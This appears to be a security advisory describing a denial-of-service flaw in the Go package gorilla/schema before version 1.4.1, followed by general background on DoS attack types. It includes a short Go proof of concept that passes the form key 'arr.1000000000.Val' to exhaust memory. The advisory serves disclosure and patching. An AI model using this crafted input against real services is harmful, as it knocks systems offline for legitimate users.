Denial of Service (DoS) Affecting github.com/gorilla/schema package, versions <1.4.1

Affected versions of this package are vulnerable to Denial of Service (DoS) due to improper user input validation when using schema.Decoder.Decode() on a struct with arrays of other structs. An attacker can exploit this vulnerability by specifying to set a field of the billionth element and it will allocate all other elements before it in the slice

package main

import (
    "fmt"

    "github.com/gorilla/schema"
)

func main() {
    dec := schema.NewDecoder()
    var result struct {
        Arr []struct{ Val int }
    }
    if err := dec.Decode(&result, map[string][]string{"arr.1000000000.Val": {"1"}}); err != nil {
        panic(err)
    }
    fmt.Printf("%#+v\n", result)
}

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Commit
• GitHub Release